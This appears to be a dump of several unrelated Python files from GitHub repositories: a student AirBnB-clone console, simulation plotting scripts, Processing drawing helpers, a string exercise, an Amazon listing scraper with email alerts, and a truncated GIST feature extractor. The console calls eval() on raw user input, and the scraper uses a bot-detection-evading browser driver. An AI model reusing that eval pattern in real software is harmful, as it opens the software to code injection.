eval(arg.split()[0])()\n base.save()\n print(base.id)\n else:\n print(\"** class doesn't exist **\")\n else:\n print(\"** class name missing **\")\n\n def do_show(self, arg):\n \"\"\"Prints the string representation of an instance based\n on the class name and id.\"\"\"\n self.check_args(arg, self.printing)\n\n def do_destroy(self, arg):\n \"\"\"Delete a BaseModel instance\"\"\"\n self.check_args(arg, self.delete_arg)\n\n def do_all(self, arg):\n \"\"\"Prints all the BaseModel instance created\"\"\"\n all_d = storage.all()\n if arg and arg != \"()\":\n if arg.split()[0] in HBNBCommand.__classes:\n for k, v in all_d.items():\n if k.split(\".\")[0] == arg.split()[0]:\n print(v)\n else:\n print(\"** class doesn't exist **\")\n else:\n [print(v) for k, v in all_d.items()]\n\n def do_update(self, arg):\n \"\"\"Updates a BaseModel instance object, adds new or update attribute\n e.g update <class_name> <class_id> <key> <value>\"\"\"\n if type(arg) != tuple:\n obj = self.check_args(arg, self.get_object)\n if obj:\n # update the value of object\n self.run_update(obj, arg)\n return\n elif type(arg) == tuple:\n ar = f\"{arg[0]} {arg[1]}\"\n obj = self.check_args(ar, self.get_object)\n if obj:\n # update the value of object\n self.run_update(obj, arg)\n return\n\n @staticmethod\n def run_update(obj, args):\n \"\"\"Updates the value of a given object using the regex to get\n the values and keys\"\"\"\n # parse simple words, \"complex\", \"more complex\", number, float\n not_allowed = [\"created_at\", \"updated_at\", \"id\"]\n if (type(args) == tuple and not args[2] and type(args[2]) == int):\n pattern = r'\\s*?[\\\"\\']?(.*)?[\\\"\\'],\\s+?\\\"?\\'?(\\w+)\\\"?\\'?'\n match_atr = re.match(pattern, args[1])\n if match_atr:\n ar = list(match_atr.groups())[1:]\n if ar:\n match_val = re.match(RG1, args[1])\n if match_val:\n id, key, value = match_val.groups()\n try:\n val = HBNBCommand.valtype(value)(value)\n except SyntaxError:\n pass\n if key not in not_allowed:\n setattr(obj, key, val)\n return\n else:\n print(\"** value missing **\")\n return\n else:\n print(\"** attribute name missing **\")\n return\n print(\"** attribute name missing **\")\n return\n\n if (type(args) == tuple and args[3]):\n new_dict = ''\n for c in args[2]:\n if c == \"'\":\n new_dict += '\"'\n continue\n new_dict += c\n try:\n _dict = json.loads(new_dict)\n if _dict:\n [\n setattr(obj, k, _dict[k]) for k in _dict.keys()\n if k not in not_allowed\n ]\n obj.save()\n else:\n print(\"** attribute name missing **\")\n except JSONDecodeError:\n print(\"** value missing **\")\n else:\n arg = re.match(r\"\\s*?(\\w+)\\s+?(.*?)?\\s[\\'\\\"]?(\\w+)[\\'\\\"]?\",\n args)\n if arg:\n arg2 = re.match(RG2, args)\n if arg2:\n cls, id, key, values = arg2.groups()\n # test if it's a double quoted string\n val = values.split('\"')[0]\n try:\n val = HBNBCommand.valtype(val)(val)\n except SyntaxError:\n pass\n if key not in not_allowed:\n setattr(obj, key, val)\n obj.save()\n else:\n print(\"** value missing **\")\n else:\n print(\"** attribute name missing **\")\n\n @staticmethod\n def valtype(arg):\n \"\"\"Get and return the type of a value to update\"\"\"\n try:\n return type(eval(arg))\n except (NameError, TypeError):\n return str\n\n @staticmethod\n def get_object(arg):\n \"\"\"retrieves the object to update\"\"\"\n id = re.match(r'[\\\"\\']?([^\\\"\\']+)[\\'\\\"]?', arg[1])\n if id:\n return (storage.all()[f\"{arg[0]}.{id.groups()[0]}\"])\n raise KeyError\n\n @staticmethod\n def printing(arg):\n \"\"\"prints a given object\"\"\"\n id = re.match(r'[\\\"\\']?([^\\\"\\']+)[\\'\\\"]?', arg[1])\n if id:\n print(storage.all()[f\"{arg[0]}.{id.groups()[0]}\"])\n return\n raise KeyError\n\n @staticmethod\n def delete_arg(arg):\n \"\"\"deletes an object and update storage\"\"\"\n id = re.match(r'[\\\"\\']?([^\\\"\\']+)[\\'\\\"]?', arg[1])\n if id:\n del storage.all()[f\"{arg[0]}.{id.groups()[0]}\"]\n storage.save()\n return\n raise KeyError\n\n @staticmethod\n def check_args(arg, func):\n \"\"\"parses and checks the needed argument to a function\"\"\"\n func_fail = [HBNBCommand.delete_arg, HBNBCommand.printing]\n\n if arg == \"()\" and func in func_fail:\n print(\"** class name missing **\")\n return\n arg = arg.split()\n arg_len = len(arg)\n\n if arg_len < 1:\n print(\"** class name missing **\")\n return\n if arg[0].split()[0] in HBNBCommand.__classes:\n if arg_len < 2:\n print(\"** instance id missing **\")\n return\n try:\n return (func(arg))\n except KeyError:\n print(\"** no instance found **\")\n else:\n print(\"** class doesn't exist **\")\n\n def default(self, arg):\n \"\"\"Runs as default to functions not parsed by onecmd\"\"\"\n func_dict = {\n \"all\": self.do_all,\n \"show\": self.do_show,\n \"update\": self.do_update,\n \"count\": self.do_count,\n \"create\": self.do_create,\n \"destroy\": self.do_destroy,\n \"quit\": self.do_quit,\n }\n match_dict = re.match(\n r'\\s*?(\\w+)\\.(\\w+)\\([\\\"\\'](.*)[\\\"\\'],\\s+?({(.*?)})\\)', arg)\n if match_dict is None:\n match_no_args = re.match(r\"\\s*?(\\w+)\\.(\\w+)\\(\\)\", arg)\n if match_no_args:\n cls, func = match_no_args.groups()\n if func in func_dict:\n func_dict[func](cls)\n return False\n else:\n print(f\"** Invalid syntax ** {arg}\")\n return False\n matchid = re.match(r\"\\s*?(\\w+)\\.(\\w+)\\([\\\"\\']([^\\\"\\']*)[\\'\\\"]\\)\",\n arg)\n if matchid:\n cls, func, id = matchid.groups()\n ar = f\"{cls} {id}\"\n if func in func_dict and func != \"update\":\n func_dict[func](ar)\n return False\n elif func == \"update\":\n ar = cls, id, 0\n func_dict[func](ar)\n return False\n else:\n print(f\"** Invalid syntax ** {arg}\")\n return False\n\n match_update = re.match(r\"\\s*?(\\w+)\\.(\\w+)\\([\\\"\\'](.*?)[\\\"\\']\\)\",\n arg)\n if match_update:\n ma = match_update.groups()\n ma = list(ma)\n first = ma[2].split(\", \")[0]\n if first[len(first) - 1] == \"'\":\n ma[2] = \"'\" + ma[2][:]\n else:\n ma[2] = '\"' + ma[2][:]\n cls, func, args = ma\n ar = f\"{cls} {args}\"\n if func in func_dict and func != \"update\":\n func_dict[func](ar)\n return False\n elif func == \"update\":\n ar = cls, args, 0\n func_dict[func](ar)\n return False\n else:\n print(f\"** Invalid syntax ** {arg}\")\n return False\n else:\n print(f\"** Invalid syntax ** {arg}\")\n return False\n else:\n cls, func, id, _dict, k = match_dict.groups()\n if func in func_dict and func == \"update\":\n ar = f\"{id} {_dict}\"\n ar = cls, id, _dict, 1\n func_dict[func](ar)\n return False\n\n print(f\"** Invalid syntax ** {arg}\")\n return False\n\n\nif __name__ == \"__main__\":\n HBNBCommand().cmdloop()\n","repo_name":"X4MU-L/AirBnB_clone","sub_path":"console.py","file_name":"console.py","file_ext":"py","file_size_in_byte":10740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"32154795757","text":"import numpy as np\nimport matplotlib.pyplot as pyplot\nimport argparse\n\n\ndstart = 500\n\nparser = argparse.ArgumentParser(description='Process Plot File')\nparser.add_argument('name', metavar='N', type=int,default=dstart, help = 'Start Numerical Value of the Filename for Plotting')\nparser.add_argument('locate', metavar='L', type=int,default=0, help = 'Plot Initial or Final [-1 for initial 1 for final]')\n# parser.add_argument('incre', metavar='I', type=int,default=dincre, help = 'Stride in Numerical Value for Increment')\n# parser.add_argument('add', metavar='A', type=int,default=0, help = 'Animate Initial Addition')\n\ninp = parser.parse_args()\n\nX = np.loadtxt(\"testout2.txt\")[:, 0]\nY = np.loadtxt(\"testout2.txt\")[:, 1]\n\nloc = inp.locate\nnam = inp.name\nsname = str(nam)\nfname = sname+'.txt'\nfnameout = 'out_plot.txt'\n\nif ( loc == 1):\n \n R = np.loadtxt(\"testout.txt\")[:, 2]\n U = np.loadtxt(\"testout.txt\")[:, 3]\n V = np.loadtxt(\"testout.txt\")[:, 4]\n P = np.loadtxt(\"testout.txt\")[:, 5]\n T = np.loadtxt(\"testout.txt\")[:, 6]\nelif(loc == -1):\n fname = 'testout2.txt'\n R = np.loadtxt(fname)[:, 2]\n U = np.loadtxt(fname)[:, 3]\n V = np.loadtxt(fname)[:, 4]\n P = np.loadtxt(fname)[:, 5]\n T = np.loadtxt(fname)[:, 6]\nelif(loc == 2):\n with open(fname, 'r') as fin:\n data = fin.read().splitlines(True)\n with open(fnameout, 'w') as fout:\n fout.writelines(data[1:])\n\n Time = data[0]\n print(Time)\n\n \n \n\n R = np.loadtxt(fnameout)[:, 2]\n U = np.loadtxt(fnameout)[:, 3]\n V = np.loadtxt(fnameout)[:, 4]\n P = np.loadtxt(fnameout)[:, 5]\n T = np.loadtxt(fnameout)[:, 6]\n\nelse:\n with open('add'+fname, 'r') as fin:\n data = fin.read().splitlines(True)\n with open(fnameout, 'w') as fout:\n fout.writelines(data[1:])\n\n Time = data[0]\n print(Time)\n\n\n R = np.loadtxt(fnameout)[:, 2]\n U = np.loadtxt(fnameout)[:, 3]\n V = np.loadtxt(fnameout)[:, 4]\n P = np.loadtxt(fnameout)[:, 5]\n T = np.loadtxt(fnameout)[:, 6]\n\n # X = np.loadtxt(\"initial.txt\")[:, 0]\n # Y = np.loadtxt(\"initial.txt\")[:, 1]\n # R = np.loadtxt(\"initial.txt\")[:, 2]\n # U = np.loadtxt(\"initial.txt\")[:, 3]\n # V = np.loadtxt(\"initial.txt\")[:, 4]\n # P = np.loadtxt(\"initial.txt\")[:, 5]\n # E = np.loadtxt(\"initial.txt\")[:, 6]\n\n # X = np.loadtxt(\"testout2.txt\")[:, 0]\n # Y = np.loadtxt(\"testout2.txt\")[:, 1]\n # R = np.loadtxt(\"testout2.txt\")[:, 2]\n # U = np.loadtxt(\"testout2.txt\")[:, 3]\n # V = np.loadtxt(\"testout2.txt\")[:, 4]\n # P = np.loadtxt(\"testout2.txt\")[:, 5]\n # E = np.loadtxt(\"testout2.txt\")[:, 6]\n\n# # Time = 0.0000068211804839\n# X = np.loadtxt(\"4200.txt\")[:, 0]\n# Y = np.loadtxt(\"4200.txt\")[:, 1]\n# R = np.loadtxt(\"4200.txt\")[:, 2]\n# U = np.loadtxt(\"4200.txt\")[:, 3]\n# V = np.loadtxt(\"4200.txt\")[:, 4]\n# P = np.loadtxt(\"4200.txt\")[:, 5]\n# E = np.loadtxt(\"4200.txt\")[:, 6]\n\n\n\n\n# X = np.loadtxt(\"2.txt\")[:, 0]\n# Y = np.loadtxt(\"2.txt\")[:, 1]\n# R = np.loadtxt(\"2.txt\")[:, 2]\n# U = np.loadtxt(\"2.txt\")[:, 3]\n# V = np.loadtxt(\"2.txt\")[:, 4]\n# P = np.loadtxt(\"2.txt\")[:, 5]\n# E = np.loadtxt(\"2.txt\")[:, 6]\n\n## COL 4\n## ROW 3\n\n\n \nfparms = 'parameters.inp'\nnc_col,nc_row = np.loadtxt(fparms)[:]\n\nnc_col = int(nc_col)\nnc_row = int(nc_row)\n\n# ncx = nc_col\n# ncy = nc_row\n\nncx = nc_col\nncy = nc_row\n\nn_col = nc_col + 1\nn_row = nc_row + 1\n\ncx = np.zeros(nc_col)\ncy = np.zeros(nc_row)\n\nfor j in range(nc_col):\n cx[j] = X[j]\n \nfor i in range(nc_row):\n cy[i] = Y[i*nc_col]\n\n\nr = np.zeros([nc_row,nc_col])\nu = np.zeros([nc_row,nc_col])\nv = np.zeros([nc_row,nc_col])\np = np.zeros([nc_row,nc_col])\ntempr = np.zeros([nc_row,nc_col])\ns = np.zeros([nc_row,nc_col])\nS = np.sqrt(U*U + V*V) ## caclulate speed as well\n\n\n\n\n\n\n\nfor i in range(nc_row):\n for j in range(nc_col):\n r[i][j] = R[i*nc_col+j]\n u[i][j] = U[i*nc_col+j]\n v[i][j] = V[i*nc_col+j]\n p[i][j] = P[i*nc_col+j]\n tempr[i][j] = T[i*nc_col+j]\n s[i][j] = S[i*nc_col+j]\n \n \n \n \n ## PLOTS HERE\n \n\np_rho = p/r ## some sort of energy\n# print(np.min(r))\n\nmx,my = np.meshgrid(cx,cy) \n\n## plot mesh\n# pyplot.figure(211)\n\n# pyplot.plot(cx,mx,'k')\n# pyplot.plot(my.T,cy,'k')\n# ## pyplot.plot(cy)\n# pyplot.legend()\n# pyplot.show()\n\n# pyplot.figure()\n# pyplot.plot(mx,my,'b')\n# pyplot.plot(mx.T,my.T,'b')\n# pyplot.title(\"Algebraic Grid\")\n# pyplot.show()\n\n\n# levels = np.linspace(250000,260000,200)\npyplot.figure(100)\npyplot.contourf(cx,cy,tempr,160,cmap = 'RdGy')\npyplot.colorbar()\n# pyplot.legend()\npyplot.title(\"spc_energy\")\npyplot.show()\n\npyplot.figure(5)\npyplot.contourf(cx,cy,r,160,cmap = 'RdGy')\npyplot.colorbar()\n# pyplot.legend()\npyplot.title(\"density\")\npyplot.show()\n\n\n\npyplot.figure(55)\npyplot.contour(cx,cy,r,10)#,cmap = 'RdGy')\n# pyplot.colorbar()\n# pyplot.legend()\npyplot.title(\"density\")\npyplot.show()\n\npyplot.figure(6)\npyplot.contourf(cx,cy,p,60,cmap = 'RdGy')\npyplot.colorbar()\n# pyplot.legend()\npyplot.title(\"pressure\")\npyplot.show()\n\n\npyplot.figure(7)\npyplot.contourf(cx,cy,u,80,cmap = 'RdGy')\npyplot.colorbar()\n# pyplot.legend()\npyplot.title(\"velocity_x\")\npyplot.show()\n\n\npyplot.figure(8)\npyplot.contourf(cx,cy,v,80,cmap = 'RdGy')\npyplot.colorbar()\n# pyplot.legend()\npyplot.title(\"velocity_y\")\npyplot.show()\n\n\n\npyplot.figure(99)\npyplot.contourf(cx,cy,s,80,cmap = 'RdGy')\npyplot.colorbar()\n# pyplot.legend()\npyplot.title(\"Speed\")\npyplot.show()\n\n\n\n\n\n\n# pyplot.figure(9)\n \n# pyplot.plot(cx,r[int(ncx/2),:],label='density along x')\n# pyplot.legend()\n# pyplot.show()\n\n\n# pyplot.figure(10)\n# pyplot.plot(cy,v[:,int(ncy/2)],label='velocity_y cut along y')\n# pyplot.legend()\n# pyplot.show()\n\n# pyplot.figure(12)\n \n# pyplot.plot(cy,r[:,int(ncy/2)],label='density along y')\n# pyplot.legend()\n# pyplot.show()\n\n\n# pyplot.figure(13)\n# pyplot.plot(cx,v[int(ncx/2),:],label='velocity_y cut along x')\n# pyplot.legend()\n# pyplot.show()\n\n# pyplot.figure(14)\n# pyplot.plot(cx,u[int(ncx/2),:],label='velocity_x cut along x')\n# pyplot.legend()\n# pyplot.show()\n\n# pyplot.figure(142)\n# pyplot.plot(cx,p[int(ncx/2),:],label='pressure cut along x')\n# pyplot.legend()\n# pyplot.show()\n \n\n \n# pyplot.figure(15)\n# pyplot.contourf(cx,cy,speed,80,cmap = 'RdGy')\n# pyplot.colorbar()\n# # pyplot.legend()\n# pyplot.title(\"velocity_r\")\n# pyplot.show()\n \n\n# flat_x = numpy.ndarray.flatten(mesh_x)\n# flat_y = numpy.ndarray.flatten(mesh_y)\n# flat_r = numpy.ndarray.flatten(r)\n# flat_u = numpy.ndarray.flatten(u)\n# flat_v = numpy.ndarray.flatten(v)\n# flat_p = numpy.ndarray.flatten(p)\n\n\n# dump = numpy.stack((flat_x,flat_y,flat_r,flat_u,flat_v,flat_p),axis=-1)\n# numpy.savetxt('output2D.txt',dump) \n\n\n# pyplot.figure(16)\n \n# pyplot.plot(cy,v[:,int(ncy/2)],label='$V_y$ along x = 0.9')\n# pyplot.plot(cx,u[int(ncx/2),:],label='$V_x$ along y = 0.9')\n# pyplot.legend()\n# pyplot.show()\n\n# pyplot.figure(17)\n\n# pyplot.plot(cx,r[int(ncx/2),:],label='density along y = 0.9')\n# pyplot.plot(cy,r[:,int(ncy/2)],label='density along x = 0.9')\n# pyplot.legend()\n# pyplot.show()\n\n# pyplot.figure(18)\n\n# pyplot.plot(cx,e[int(ncx/2),:],label='energy along y = 0.9')\n# pyplot.plot(cy,e[:,int(ncy/2)],label='energy along x = 0.9')\n# pyplot.legend()\n# pyplot.show()\n\n\n","repo_name":"ptroyen/Hydro2D","sub_path":"output/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":7216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"34080575012","text":"# -*- coding: utf-8 -*-\n\ndef poly(p_list, closed=True):\n beginShape()\n for p in p_list:\n if p[2] == 0:\n vertex(p[0], p[1])\n else:\n vertex(*p)\n if closed:\n endShape(CLOSE)\n else:\n endShape()\n\ndef poly_arc_augmented(p_list, r_list):\n a_list = []\n for i1 in range(len(p_list)):\n i2 = (i1 + 1) % len(p_list)\n p1, p2, r1, r2 = p_list[i1], p_list[i2], r_list[i1], r_list[i2]\n a = circ_circ_tangent(p1, p2, r1, r2)\n a_list.append(a)\n # ellipse(p1.x, p1.y, 2, 2)\n\n for i1 in range(len(a_list)):\n i2 = (i1 + 1) % len(a_list)\n p1, p2, r1, r2 = p_list[i1], p_list[i2], r_list[i1], r_list[i2]\n #ellipse(p1.x, p1.y, r1 * 2, r1 * 2)\n a1 = a_list[i1]\n a2 = a_list[i2]\n if a1 and a2:\n start = a1 if a1 < a2 else a1 - TWO_PI\n arc(p2.x, p2.y, r2 * 2, r2 * 2, start, a2)\n else:\n # println((a1, a2))\n ellipse(p1.x, p1.y, r1 * 2, r1 * 2)\n ellipse(p2.x, p2.y, r2 * 2, r2 * 2)\n\n\ndef circ_circ_tangent(p1, p2, r1, r2):\n d = dist(p1.x, p1.y, p2.x, p2.y)\n ri = r1 - r2\n line_angle = atan2(p1.x - p2.x, p2.y - p1.y)\n if d > abs(ri):\n theta = asin(ri / float(d))\n\n x1 = cos(line_angle - theta) * r1\n y1 = sin(line_angle - theta) * r1\n x2 = cos(line_angle - theta) * r2\n y2 = sin(line_angle - theta) * r2\n # line(p1.x - x1, p1.y - y1, p2.x - x2, p2.y - y2)\n\n x1 = -cos(line_angle + theta) * r1\n y1 = -sin(line_angle + theta) * r1\n x2 = -cos(line_angle + theta) * r2\n y2 = -sin(line_angle + theta) * r2\n line(p1.x - x1, p1.y - y1, p2.x - x2, p2.y - y2)\n return (line_angle + theta)\n else:\n line(p1.x, p1.y, p2.x, p2.y)\n return None\n\n\ndef poly_filleted(p_list, r_list=None, open_poly=False):\n \"\"\"\n draws a 'filleted' polygon with variable radius\n dependent on roundedCorner()\n \"\"\"\n if not r_list:\n r_list = [0] * len(p_list)\n\n if not open_poly:\n with pushStyle():\n noStroke()\n beginShape()\n for p0, p1 in zip(p_list, [p_list[-1]] + p_list[:-1]):\n m = (PVector(p0.x, p0.y) + PVector(p1.x, p1.y)) / 2\n vertex(m.x, m.y)\n endShape(CLOSE)\n for p0, p1, p2, r in zip(p_list,\n [p_list[-1]] + p_list[:-1],\n [p_list[-2]] + [p_list[-1]] + p_list[:-2],\n [r_list[-1]] + r_list[:-1]\n ):\n m1 = (PVector(p0.x, p0.y) + PVector(p1.x, p1.y)) / 2\n m2 = (PVector(p2.x, p2.y) + PVector(p1.x, p1.y)) / 2\n roundedCorner(p1, m1, m2, r)\n else:\n for p0, p1, p2, r in zip(p_list[:-1],\n [p_list[-1]] + p_list[:-2],\n [p_list[-2]] + [p_list[-1]] + p_list[:-3],\n [r_list[-1]] + r_list[:-2]\n ):\n m1 = (PVector(p0.x, p0.y) + PVector(p1.x, p1.y)) / 2\n m2 = (PVector(p2.x, p2.y) + PVector(p1.x, p1.y)) / 2\n roundedCorner(p1, m1, m2, r)\n\n\ndef roundedCorner(pc, p1, p2, r):\n \"\"\"\n Based on Stackoverflow C# rounded corner post \n https://stackoverflow.com/questions/24771828/algorithm-for-creating-rounded-corners-in-a-polygon\n \"\"\"\n def GetProportionPoint(pt, segment, L, dx, dy):\n factor = float(segment) / L if L != 0 else segment\n return PVector((pt.x - dx * factor), (pt.y - dy * factor))\n\n # Vector 1\n dx1 = pc.x - p1.x\n dy1 = pc.y - p1.y\n\n # Vector 2\n dx2 = pc.x - p2.x\n dy2 = pc.y - p2.y\n\n # Angle between vector 1 and vector 2 divided by 2\n angle = (atan2(dy1, dx1) - atan2(dy2, dx2)) / 2\n\n # The length of segment between angular point and the\n # points of intersection with the circle of a given radius\n tng = abs(tan(angle))\n segment = r / tng if tng != 0 else r\n\n # Check the segment\n length1 = sqrt(dx1 * dx1 + dy1 * dy1)\n length2 = sqrt(dx2 * dx2 + dy2 * dy2)\n\n min_len = min(length1, length2)\n\n if segment > min_len:\n segment = min_len\n max_r = min_len * abs(tan(angle))\n else:\n max_r = r\n\n # Points of intersection are calculated by the proportion between\n # length of vector and the length of the segment.\n p1Cross = GetProportionPoint(pc, segment, length1, dx1, dy1)\n p2Cross = GetProportionPoint(pc, segment, length2, dx2, dy2)\n\n # Calculation of the coordinates of the circle\n # center by the addition of angular vectors.\n dx = pc.x * 2 - p1Cross.x - p2Cross.x\n dy = pc.y * 2 - p1Cross.y - p2Cross.y\n\n L = sqrt(dx * dx + dy * dy)\n d = sqrt(segment * segment + max_r * max_r)\n\n circlePoint = GetProportionPoint(pc, d, L, dx, dy)\n\n # StartAngle and EndAngle of arc\n startAngle = atan2(p1Cross.y - circlePoint.y, p1Cross.x - circlePoint.x)\n endAngle = atan2(p2Cross.y - circlePoint.y, p2Cross.x - circlePoint.x)\n\n # Sweep angle\n sweepAngle = endAngle - startAngle\n\n # Some additional checks\n if sweepAngle < 0:\n startAngle, endAngle = endAngle, startAngle\n sweepAngle = -sweepAngle\n\n if sweepAngle > PI:\n startAngle, endAngle = endAngle, startAngle\n sweepAngle = TWO_PI - sweepAngle\n\n # Draw result using graphics\n # noStroke()\n with pushStyle():\n noStroke()\n beginShape()\n vertex(p1.x, p1.y)\n vertex(p1Cross.x, p1Cross.y)\n vertex(p2Cross.x, p2Cross.y)\n vertex(p2.x, p2.y)\n endShape(CLOSE)\n\n line(p1.x, p1.y, p1Cross.x, p1Cross.y)\n line(p2.x, p2.y, p2Cross.x, p2Cross.y)\n arc(circlePoint.x, circlePoint.y, 2 * max_r, 2 * max_r,\n startAngle, startAngle + sweepAngle, OPEN)\n","repo_name":"villares/sketch-a-day","sub_path":"2019/sketch_190512a/polys.py","file_name":"polys.py","file_ext":"py","file_size_in_byte":5849,"program_lang":"python","lang":"en","doc_type":"code","stars":193,"dataset":"github-code","pt":"71"} +{"seq_id":"71884538151","text":"#GitHub Username: 013himanshu\r\n\r\ndef reverse_words_order_and_swap_cases(sentence):\r\n word = sentence.split()\r\n rev = \"\"\r\n for i in word:\r\n letter = list(i)\r\n case = \"\"\r\n for ind in range(0, len(letter)):\r\n if letter[ind].islower():\r\n case = case + letter[ind].upper()\r\n else:\r\n case = case + letter[ind].lower()\r\n\r\n rev = case + \" \" + rev\r\n\r\n return rev\r\n\r\nsentence = str(input())\r\nprint(reverse_words_order_and_swap_cases(sentence))\r\n","repo_name":"cscipher/Code-for-HacktoberFest2020","sub_path":"Beginner/Python/reverse_caseSwap.py","file_name":"reverse_caseSwap.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"71"} +{"seq_id":"32422329796","text":"import undetected_chromedriver as uc\nfrom bs4 import BeautifulSoup\nimport smtplib\nimport configparser\nfrom email.message import EmailMessage\nimport sys\nimport schedule\nimport time\n\ndef check_for_update():\n BASE_URL = \"https://www.amazon.co.uk/s?k=1440p+144hz+monitor&i=computers&rh=n%3A428652031%2Cp_n_specials_match%3A21583550031\"\n\n options = uc.ChromeOptions()\n options.headless=True\n options.add_argument('--headless')\n chrome = uc.Chrome(options=options)\n chrome.get(BASE_URL)\n html = chrome.page_source\n\n soup = BeautifulSoup(html, features='lxml')\n\n results_html = soup.find_all(attrs={\"data-component-type\": \"s-search-results\"})[0].select(\".s-main-slot\")[0].findChildren(attrs={\"data-component-type\": \"s-search-result\"}, recursive=False)\n\n titles = list(map(lambda res: res.find(attrs={\"class\": \"a-size-medium\"}).get_text(), results_html))\n titles.sort()\n\n title_str = ''.join(titles)\n\n with open('results_cache.txt', \"r\") as f:\n if f.read() != title_str:\n send_notification()\n print(\"Sending notification\")\n\n with open('results_cache.txt', 'w') as f:\n f.write(title_str)\n\n\ndef send_notification():\n msg = EmailMessage()\n msg.set_content(\"\")\n\n msg['Subject'] = f'Monitor Update'\n msg['From'] = \"nikhil1231@hotmail.co.uk\"\n msg['To'] = \"nikhil1231@hotmail.co.uk\"\n\n config = configparser.ConfigParser()\n config.read(\"creds.ini\")\n\n server = smtplib.SMTP('smtp.live.com', 25)\n server.starttls()\n server.login(config['DEFAULT']['email'], config['DEFAULT']['password'])\n\n server.send_message(msg)\n server.quit()\n\nif __name__ == \"__main__\":\n avg_wait_time = int(sys.argv[1])\n variance = 0.3\n schedule.every(int(avg_wait_time * (1 - variance))).to(int(avg_wait_time * (1 + variance))).minutes.do(check_for_update)\n\n while 1:\n schedule.run_pending()\n time.sleep(1)","repo_name":"nikhil1231/monitor_monitor","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"16676417484","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n'''\nAdapted from:\nhttps://github.com/imoken1122/GIST-feature-extractor/\n'''\n\nimport numpy as np\nimport numpy.matlib as nm\nimport numpy.fft as f\n\nclass LMgist:\n \"\"\"\n Class to extract GIST features from images.\n \"\"\"\n\n def __init__(self, param, img_size_wh=None):\n \"\"\"\n Initialize LMgist object.\n\n Parameters:\n - param: Dictionary containing GIST extraction parameters.\n - img_size_wh: Tuple specifying image width and height (width, height).\n \"\"\"\n self.param = param\n\n # If image dimensions provided, create Gabor filters.\n if img_size_wh is None:\n self.param[\"G\"] = None\n else:\n self.param[\"G\"] = self._createGabor(self.param[\"orientationsPerScale\"],\\\n np.array(img_size_wh[::-1])+2*self.param[\"boundaryExtension\"])\n\n def _createGabor(self, orr, n):\n \"\"\"\n Create Gabor filters based on orientations and image dimensions.\n\n Parameters:\n - orr: List of orientations.\n - n: Image dimensions.\n\n Returns:\n - G: Gabor filters.\n \"\"\"\n gabor_param = []\n Nscalse = len(orr)\n Nfilters = sum(orr)\n\n # Ensure n has two elements, one for each image dimension.\n if len(n) == 1:\n n = [n[0], n[0]]\n\n for i in range(Nscalse):\n for j in range(orr[i]):\n gabor_param.append([0.35, 0.3 / (1.85 ** i), 16 * orr[i] **2 / 32**2, np.pi / orr[i] * j])\n\n gabor_param = np.array(gabor_param)\n fx, fy = np.meshgrid(np.arange(-n[1] / 2, n[1] / 2), np.arange(-n[0] / 2, n[0] / 2))\n fr = f.fftshift(np.sqrt(fx ** 2 + fy ** 2))\n t = f.fftshift(np.angle(fx + 1j * fy))\n\n G = np.zeros((n[0], n[1], Nfilters))\n for i in range(Nfilters):\n tr = t + gabor_param[i, 3]\n tr += 2 * np.pi * (tr < -np.pi) - 2 * np.pi * (tr > np.pi)\n G[:, :, i] = np.exp(-10 * gabor_param[i, 0] * (fr/ n[1] / gabor_param[i, 1] - 1)**2 -\n 2 * gabor_param[i, 2] * np.pi * tr**2)\n\n return G\n\n def _more_config(self, img):\n \"\"\"Configuration check and setup for GIST extraction.\"\"\"\n \n if img.ndim != 2:\n raise ValueError('Input image should be gray-scale!')\n\n if self.param.get('imageSize') is not None:\n raise SystemExit('Perform image resizing externally!')\n \n if self.param[\"G\"] is None:\n self.param[\"G\"] = self._createGabor(self.param[\"orientationsPerScale\"],\\\n np.array(img.shape[:2])+2*self.param[\"boundaryExtension\"])\n\n def _preprocess(self, img):\n \"\"\"Preprocess the image by normalizing its values to the range [0, 255].\"\"\"\n img = (img - np.min(img))\n if np.sum(img) != 0:\n img = 255 * (img / np.max(img))\n return img\n\n def _prefilt(self, img):\n \"\"\"Pre-filter the image.\"\"\"\n w = 5\n fc = self.param[\"fc_prefilt\"]\n s1 = fc / np.sqrt(np.log(2))\n img = np.log(img + 1)\n img = np.pad(img, [w, w], \"symmetric\")\n sn, sm = img.shape\n n = max(sn, sm)\n n += n % 2\n\n # Adjust image dimensions using padding.\n if sn == sm:\n img = np.pad(img, [0, n - sn], \"symmetric\")\n elif sn < sm:\n img = np.pad(img, [0, n - sn], \"symmetric\")[:, :sm + (1 if sm % 2 != 0 else 0)]\n else:\n img = np.pad(img, [0, n - sm], \"symmetric\")[sn - sm:]\n\n fx, fy = np.meshgrid(np.arange(-n/2, n/2), np.arange(-n/2, n/2))\n gf = f.fftshift(np.exp(-(fx**2 + fy**2) / (s1**2)))\n output = img - np.real(f.ifft2(f.fft2(img) * gf))\n localstd = np.sqrt(abs(f.ifft2(f.fft2(output ** 2) * gf)))\n output = output / (0.2 + localstd)\n\n # Remove padding after processing\n return output[w:sn-w, w:sm-w]\n\n def _gistGabor(self, img):\n \"\"\"\n Extract GIST features using Gabor filters.\n\n Parameters:\n - img: Pre-filtered image.\n\n Returns:\n - g: GIST features.\n \"\"\"\n w = self.param[\"numberBlocks\"]\n G = self.param[\"G\"]\n be = self.param[\"boundaryExtension\"]\n ny, nx, Nfilters = G.shape\n W = w[0] * w[1]\n N = 1\n g = np.zeros((W * Nfilters, N))\n\n # Apply symmetric padding\n img = np.pad(img, [be, be], \"symmetric\")\n img = f.fft2(img)\n\n k = 0\n for n in range(Nfilters):\n ig = abs(f.ifft2(img * nm.repmat(G[:, :, n], 1, 1)))\n ig = ig[be:ny-be, be:nx-be]\n v = self._downN(ig, w)\n g[k:k+W, 0] = v.reshape([W, N], order=\"F\").ravel()\n k += W\n return np.array(g)\n\n def _downN(self, x, N):\n \"\"\"\n Downsample the image by averaging over blocks.\n\n Parameters:\n - x: Image to downsample.\n - N: Downsample dimensions.\n\n Returns:\n - y: Downsampled image.\n \"\"\"\n nx = list(map(int, np.floor(np.linspace(0, x.shape[0], 